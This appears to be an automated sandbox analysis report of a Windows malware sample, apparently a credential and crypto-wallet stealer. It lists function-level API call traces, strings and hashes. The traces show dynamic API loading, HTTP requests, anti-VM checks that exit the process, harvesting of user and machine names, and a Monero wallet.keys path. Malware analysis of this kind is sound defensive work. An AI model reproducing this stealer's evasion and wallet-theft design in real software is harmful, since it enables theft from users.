Opcode ID: 97e37a153ad4703921713c04b3d6f5d87f33568defd76512c486e238cac49e45
Instruction ID: 2c26f1ec6e6e8dfb12f34a2054147f2f49d7c8aef707549697b5a763839de2c4
Opcode Fuzzy Hash: 97e37a153ad4703921713c04b3d6f5d87f33568defd76512c486e238cac49e45
Instruction Fuzzy Hash: 85D05E7894030CDBCB28DFE0E8496DDBB7CFB08712F000564E90663340EA3164C1CBA5

Function 00F19C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,008968A0), ref: 00F19C2D
GetProcAddress.KERNEL32(75900000,00896920), ref: 00F19C45
GetProcAddress.KERNEL32(75900000,008A9EB0), ref: 00F19C5E
GetProcAddress.KERNEL32(75900000,008A9EE0), ref: 00F19C76
GetProcAddress.KERNEL32(75900000,008ADA10), ref: 00F19C8E
GetProcAddress.KERNEL32(75900000,008ADBC0), ref: 00F19CA7
GetProcAddress.KERNEL32(75900000,0089BFF8), ref: 00F19CBF
GetProcAddress.KERNEL32(75900000,008ADAA0), ref: 00F19CD7
GetProcAddress.KERNEL32(75900000,008AD9E0), ref: 00F19CF0
GetProcAddress.KERNEL32(75900000,008ADB00), ref: 00F19D08
GetProcAddress.KERNEL32(75900000,008ADB30), ref: 00F19D20
GetProcAddress.KERNEL32(75900000,008966C0), ref: 00F19D39
GetProcAddress.KERNEL32(75900000,00896960), ref: 00F19D51
GetProcAddress.KERNEL32(75900000,008966A0), ref: 00F19D69
GetProcAddress.KERNEL32(75900000,00896A20), ref: 00F19D82
GetProcAddress.KERNEL32(75900000,008ADB60), ref: 00F19D9A
GetProcAddress.KERNEL32(75900000,008AD998), ref: 00F19DB2
GetProcAddress.KERNEL32(75900000,0089C070), ref: 00F19DCB
GetProcAddress.KERNEL32(75900000,00896980), ref: 00F19DE3
GetProcAddress.KERNEL32(75900000,008AD980), ref: 00F19DFB
GetProcAddress.KERNEL32(75900000,008ADB48), ref: 00F19E14
GetProcAddress.KERNEL32(75900000,008ADAE8), ref: 00F19E2C
GetProcAddress.KERNEL32(75900000,008ADA58), ref: 00F19E44
GetProcAddress.KERNEL32(75900000,008966E0), ref: 00F19E5D
GetProcAddress.KERNEL32(75900000,008ADAB8), ref: 00F19E75
GetProcAddress.KERNEL32(75900000,008AD920), ref: 00F19E8D
GetProcAddress.KERNEL32(75900000,008ADAD0), ref: 00F19EA6
GetProcAddress.KERNEL32(75900000,008ADA28), ref: 00F19EBE
GetProcAddress.KERNEL32(75900000,008AD908), ref: 00F19ED6
GetProcAddress.KERNEL32(75900000,008AD9B0), ref: 00F19EEF
GetProcAddress.KERNEL32(75900000,008ADB78), ref: 00F19F07
GetProcAddress.KERNEL32(75900000,008ADB90), ref: 00F19F1F
GetProcAddress.KERNEL32(75900000,008ADB18), ref: 00F19F38
GetProcAddress.KERNEL32(75900000,008AAE20), ref: 00F19F50
GetProcAddress.KERNEL32(75900000,008ADBA8), ref: 00F19F68
GetProcAddress.KERNEL32(75900000,008AD968), ref: 00F19F81
GetProcAddress.KERNEL32(75900000,008969A0), ref: 00F19F99
GetProcAddress.KERNEL32(75900000,008AD950), ref: 00F19FB1
GetProcAddress.KERNEL32(75900000,008969E0), ref: 00F19FCA
GetProcAddress.KERNEL32(75900000,008AD9C8), ref: 00F19FE2
GetProcAddress.KERNEL32(75900000,008ADBD8), ref: 00F19FFA
GetProcAddress.KERNEL32(75900000,008964E0), ref: 00F1A013
GetProcAddress.KERNEL32(75900000,00896620), ref: 00F1A02B
LoadLibraryA.KERNEL32(008AD9F8,?,00F15CA3,00F20AEB,?,?,?,?,?,?,?,?,?,?,00F20AEA,00F20AE3), ref: 00F1A03D
LoadLibraryA.KERNEL32(008AD938,?,00F15CA3,00F20AEB,?,?,?,?,?,?,?,?,?,?,00F20AEA,00F20AE3), ref: 00F1A04E
LoadLibraryA.KERNEL32(008AD8F0,?,00F15CA3,00F20AEB,?,?,?,?,?,?,?,?,?,?,00F20AEA,00F20AE3), ref: 00F1A060
LoadLibraryA.KERNEL32(008ADA40,?,00F15CA3,00F20AEB,?,?,?,?,?,?,?,?,?,?,00F20AEA,00F20AE3), ref: 00F1A072
LoadLibraryA.KERNEL32(008ADA70,?,00F15CA3,00F20AEB,?,?,?,?,?,?,?,?,?,?,00F20AEA,00F20AE3), ref: 00F1A083
LoadLibraryA.KERNEL32(008ADA88,?,00F15CA3,00F20AEB,?,?,?,?,?,?,?,?,?,?,00F20AEA,00F20AE3), ref: 00F1A095
LoadLibraryA.KERNEL32(008ADD58,?,00F15CA3,00F20AEB,?,?,?,?,?,?,?,?,?,?,00F20AEA,00F20AE3), ref: 00F1A0A7
LoadLibraryA.KERNEL32(008ADCB0,?,00F15CA3,00F20AEB,?,?,?,?,?,?,?,?,?,?,00F20AEA,00F20AE3), ref: 00F1A0B8
GetProcAddress.KERNEL32(75FD0000,00896300), ref: 00F1A0DA
GetProcAddress.KERNEL32(75FD0000,008ADC80), ref: 00F1A0F2
GetProcAddress.KERNEL32(75FD0000,008A97E0), ref: 00F1A10A
GetProcAddress.KERNEL32(75FD0000,008ADCC8), ref: 00F1A123
GetProcAddress.KERNEL32(75FD0000,008962E0), ref: 00F1A13B
GetProcAddress.KERNEL32(73530000,0089C048), ref: 00F1A160
GetProcAddress.KERNEL32(73530000,00896500), ref: 00F1A179
GetProcAddress.KERNEL32(73530000,0089C200), ref: 00F1A191
GetProcAddress.KERNEL32(73530000,008ADC68), ref: 00F1A1A9
GetProcAddress.KERNEL32(73530000,008ADD28), ref: 00F1A1C2
GetProcAddress.KERNEL32(73530000,00896640), ref: 00F1A1DA
GetProcAddress.KERNEL32(73530000,00896600), ref: 00F1A1F2
GetProcAddress.KERNEL32(73530000,008ADC20), ref: 00F1A20B
GetProcAddress.KERNEL32(763B0000,00896440), ref: 00F1A22C
GetProcAddress.KERNEL32(763B0000,008963A0), ref: 00F1A244
GetProcAddress.KERNEL32(763B0000,008ADD70), ref: 00F1A25D
GetProcAddress.KERNEL32(763B0000,008ADD10), ref: 00F1A275
GetProcAddress.KERNEL32(763B0000,00896320), ref: 00F1A28D
GetProcAddress.KERNEL32(750F0000,0089BE68), ref: 00F1A2B3
GetProcAddress.KERNEL32(750F0000,0089C138), ref: 00F1A2CB
GetProcAddress.KERNEL32(750F0000,008ADC98), ref: 00F1A2E3
GetProcAddress.KERNEL32(750F0000,008963C0), ref: 00F1A2FC
GetProcAddress.KERNEL32(750F0000,00896340), ref: 00F1A314
GetProcAddress.KERNEL32(750F0000,0089C0E8), ref: 00F1A32C
GetProcAddress.KERNEL32(75A50000,008ADCE0), ref: 00F1A352
GetProcAddress.KERNEL32(75A50000,00896400), ref: 00F1A36A
GetProcAddress.KERNEL32(75A50000,008A9860), ref: 00F1A382
GetProcAddress.KERNEL32(75A50000,008ADCF8), ref: 00F1A39B
GetProcAddress.KERNEL32(75A50000,008ADD40), ref: 00F1A3B3
GetProcAddress.KERNEL32(75A50000,008965C0), ref: 00F1A3CB
GetProcAddress.KERNEL32(75A50000,00896520), ref: 00F1A3E4
GetProcAddress.KERNEL32(75A50000,008ADD88), ref: 00F1A3FC
GetProcAddress.KERNEL32(75A50000,008ADDA0), ref: 00F1A414
GetProcAddress.KERNEL32(75070000,00896540), ref: 00F1A436
GetProcAddress.KERNEL32(75070000,008ADC38), ref: 00F1A44E
GetProcAddress.KERNEL32(75070000,008ADBF0), ref: 00F1A466
GetProcAddress.KERNEL32(75070000,008ADC08), ref: 00F1A47F
GetProcAddress.KERNEL32(75070000,008ADC50), ref: 00F1A497
GetProcAddress.KERNEL32(74E50000,00896280), ref: 00F1A4B8
GetProcAddress.KERNEL32(74E50000,008962A0), ref: 00F1A4D1
GetProcAddress.KERNEL32(75320000,00896660), ref: 00F1A4F2
GetProcAddress.KERNEL32(75320000,008AD710), ref: 00F1A50A
GetProcAddress.KERNEL32(6F060000,00896420), ref: 00F1A530
GetProcAddress.KERNEL32(6F060000,008963E0), ref: 00F1A548
GetProcAddress.KERNEL32(6F060000,008964C0), ref: 00F1A560
GetProcAddress.KERNEL32(6F060000,008AD740), ref: 00F1A579
GetProcAddress.KERNEL32(6F060000,00896460), ref: 00F1A591
GetProcAddress.KERNEL32(6F060000,00896560), ref: 00F1A5A9
GetProcAddress.KERNEL32(6F060000,008965E0), ref: 00F1A5C2
GetProcAddress.KERNEL32(6F060000,008962C0), ref: 00F1A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 00F1A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 00F1A607
GetProcAddress.KERNEL32(74E00000,008AD620), ref: 00F1A629
GetProcAddress.KERNEL32(74E00000,008A9810), ref: 00F1A641
GetProcAddress.KERNEL32(74E00000,008AD758), ref: 00F1A659
GetProcAddress.KERNEL32(74E00000,008AD788), ref: 00F1A672
GetProcAddress.KERNEL32(74DF0000,00896480), ref: 00F1A693
GetProcAddress.KERNEL32(6D090000,008AD8A8), ref: 00F1A6B4
GetProcAddress.KERNEL32(6D090000,008964A0), ref: 00F1A6CD
GetProcAddress.KERNEL32(6D090000,008AD800), ref: 00F1A6E5
GetProcAddress.KERNEL32(6D090000,008AD7A0), ref: 00F1A6FD

Strings

InternetSetOptionA, xrefs: 00F1A5E5
HttpQueryInfoA, xrefs: 00F1A5FC

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: cbc74cc019dc5055838830eb8849f919c807d47039f91f9722eef34ab1e9bfe9
Instruction ID: d0adf72fde795fb16ae99b6fb57ce951a74055e3457d076d50c44c33384c6056
Opcode Fuzzy Hash: cbc74cc019dc5055838830eb8849f919c807d47039f91f9722eef34ab1e9bfe9
Instruction Fuzzy Hash: 39622EBD5C06019FE37CDFA8F5989563BF9EF88A12316453AA627C320CD63A94C1DB50

Function 00F06280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F1A7E6

Part of subcall function 00F047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F04839
Part of subcall function 00F047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00F04849

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

InternetOpenA.WININET(00F20DFE,00000001,00000000,00000000,00000000), ref: 00F062E1
StrCmpCA.SHLWAPI(?,008AF278), ref: 00F06303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F06335
HttpOpenRequestA.WININET(00000000,GET,?,008AE690,00000000,00000000,00400100,00000000), ref: 00F06385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00F063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00F063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00F063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00F0646D
InternetCloseHandle.WININET(00000000), ref: 00F064EF
InternetCloseHandle.WININET(00000000), ref: 00F064F9
InternetCloseHandle.WININET(00000000), ref: 00F06503

Strings

GET, xrefs: 00F0637C
ERROR, xrefs: 00F064C9
ERROR, xrefs: 00F06407

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 757983606dad2cfbd85b9b60d82cf24da3b3b90c20e75c6fafeb6c3499b3eda6
Instruction ID: 9d8cfa32cf8321917628fc5c32f28f8d3d35766ebcee8ce4dd64ba7ef039ed7d
Opcode Fuzzy Hash: 757983606dad2cfbd85b9b60d82cf24da3b3b90c20e75c6fafeb6c3499b3eda6
Instruction Fuzzy Hash: E3716F75A40218ABEB24DFA0DC49BEE7778FF44710F108158F10AAB1C4DBB56A85EF51

Function 00F15510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F1A820: lstrlen.KERNEL32(00F04F05,?,?,00F04F05,00F20DDE), ref: 00F1A82B
Part of subcall function 00F1A820: lstrcpy.KERNEL32(00F20DDE,00000000), ref: 00F1A885

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00F15644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00F156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00F15857

Part of subcall function 00F1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F1A7E6

Part of subcall function 00F151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00F15228

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

Part of subcall function 00F152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00F15318
Part of subcall function 00F152C0: lstrlen.KERNEL32(00000000), ref: 00F1532F
Part of subcall function 00F152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00F15364
Part of subcall function 00F152C0: lstrlen.KERNEL32(00000000), ref: 00F15383
Part of subcall function 00F152C0: lstrlen.KERNEL32(00000000), ref: 00F153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00F1578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00F15940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00F15A0C
Sleep.KERNEL32(0000EA60), ref: 00F15A1B

Strings

ERROR, xrefs: 00F159FE
ERROR, xrefs: 00F1577D
ERROR, xrefs: 00F15693
ERROR, xrefs: 00F15849
ERROR, xrefs: 00F15932
ERROR, xrefs: 00F15636

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 0a15205f3650107598d7f6f3933d81f9bb9fac2180217eae4b7afa904f10fddb
Instruction ID: c3c62e42bbe7a9f735ae820c59eb25543e76186791cc0ef00e3f6855e499408d
Opcode Fuzzy Hash: 0a15205f3650107598d7f6f3933d81f9bb9fac2180217eae4b7afa904f10fddb
Instruction Fuzzy Hash: ACE145769111049BCB18FBA0ED52EFD7338AF54720F408128B517570D5EF38AB8AEB92

Function 00F117A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00F117C5
ExitProcess.KERNEL32 ref: 00F117D1

Strings

block, xrefs: 00F117B7

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 7f6a6cabf7c258eaffa67b5d1fbbe7d701c9b6ca3031198a3c13f65ae7bb7f5e
Instruction ID: 91bf6e679751f9cf91501c76887a2e9a150de4423e41b1d70038a94d9b1b57ef
Opcode Fuzzy Hash: 7f6a6cabf7c258eaffa67b5d1fbbe7d701c9b6ca3031198a3c13f65ae7bb7f5e
Instruction Fuzzy Hash: 10518EB5A00209EFDB04DFA0E964BFE77B5FF44700F508058E526A7240DB74E981EB62

Function 00F17500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00F17542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F1757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F17603
RtlAllocateHeap.NTDLL(00000000), ref: 00F1760A
wsprintfA.USER32 ref: 00F17640

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Strings

\, xrefs: 00F17560
:, xrefs: 00F1755C
C, xrefs: 00F1754C

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 4868b3d3f938ace312d163163fd3437aac52f44618b1ef7f2e19392a92359907
Instruction ID: 25100e7074a4dbbf9e3167006d84242645b4bca9cdb35ef9a59bb1edc64d94e8
Opcode Fuzzy Hash: 4868b3d3f938ace312d163163fd3437aac52f44618b1ef7f2e19392a92359907
Instruction Fuzzy Hash: 1141B1B5D44348ABDB24DF94DC45BEEBBB8EF18710F100098F50967280DB79AB84DBA5

Function 00F169F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F19860: GetProcAddress.KERNEL32(75900000,008A14E0), ref: 00F198A1
Part of subcall function 00F19860: GetProcAddress.KERNEL32(75900000,008A16D8), ref: 00F198BA
Part of subcall function 00F19860: GetProcAddress.KERNEL32(75900000,008A16F0), ref: 00F198D2
Part of subcall function 00F19860: GetProcAddress.KERNEL32(75900000,008A1708), ref: 00F198EA
Part of subcall function 00F19860: GetProcAddress.KERNEL32(75900000,008A1558), ref: 00F19903
Part of subcall function 00F19860: GetProcAddress.KERNEL32(75900000,008A97F0), ref: 00F1991B
Part of subcall function 00F19860: GetProcAddress.KERNEL32(75900000,00896900), ref: 00F19933
Part of subcall function 00F19860: GetProcAddress.KERNEL32(75900000,00896740), ref: 00F1994C
Part of subcall function 00F19860: GetProcAddress.KERNEL32(75900000,008A1720), ref: 00F19964
Part of subcall function 00F19860: GetProcAddress.KERNEL32(75900000,008A1738), ref: 00F1997C
Part of subcall function 00F19860: GetProcAddress.KERNEL32(75900000,008A1780), ref: 00F19995
Part of subcall function 00F19860: GetProcAddress.KERNEL32(75900000,008A1798), ref: 00F199AD
Part of subcall function 00F19860: GetProcAddress.KERNEL32(75900000,00896700), ref: 00F199C5
Part of subcall function 00F19860: GetProcAddress.KERNEL32(75900000,008A17B0), ref: 00F199DE

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F011D0: ExitProcess.KERNEL32 ref: 00F01211

Part of subcall function 00F01160: GetSystemInfo.KERNEL32(?), ref: 00F0116A
Part of subcall function 00F01160: ExitProcess.KERNEL32 ref: 00F0117E

Part of subcall function 00F01110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00F0112B
Part of subcall function 00F01110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00F01132
Part of subcall function 00F01110: ExitProcess.KERNEL32 ref: 00F01143

Part of subcall function 00F01220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00F0123E
Part of subcall function 00F01220: ExitProcess.KERNEL32 ref: 00F01294

Part of subcall function 00F16770: GetUserDefaultLangID.KERNEL32 ref: 00F16774

Part of subcall function 00F01190: ExitProcess.KERNEL32 ref: 00F011C6

Part of subcall function 00F17850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00F011B7), ref: 00F17880
Part of subcall function 00F17850: RtlAllocateHeap.NTDLL(00000000), ref: 00F17887
Part of subcall function 00F17850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00F1789F

Part of subcall function 00F178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F17910
Part of subcall function 00F178E0: RtlAllocateHeap.NTDLL(00000000), ref: 00F17917
Part of subcall function 00F178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00F1792F

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,008A9830,?,00F2110C,?,00000000,?,00F21110,?,00000000,00F20AEF), ref: 00F16ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00F16AE8
CloseHandle.KERNEL32(00000000), ref: 00F16AF9
Sleep.KERNEL32(00001770), ref: 00F16B04
CloseHandle.KERNEL32(?,00000000,?,008A9830,?,00F2110C,?,00000000,?,00F21110,?,00000000,00F20AEF), ref: 00F16B1A
ExitProcess.KERNEL32 ref: 00F16B22

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
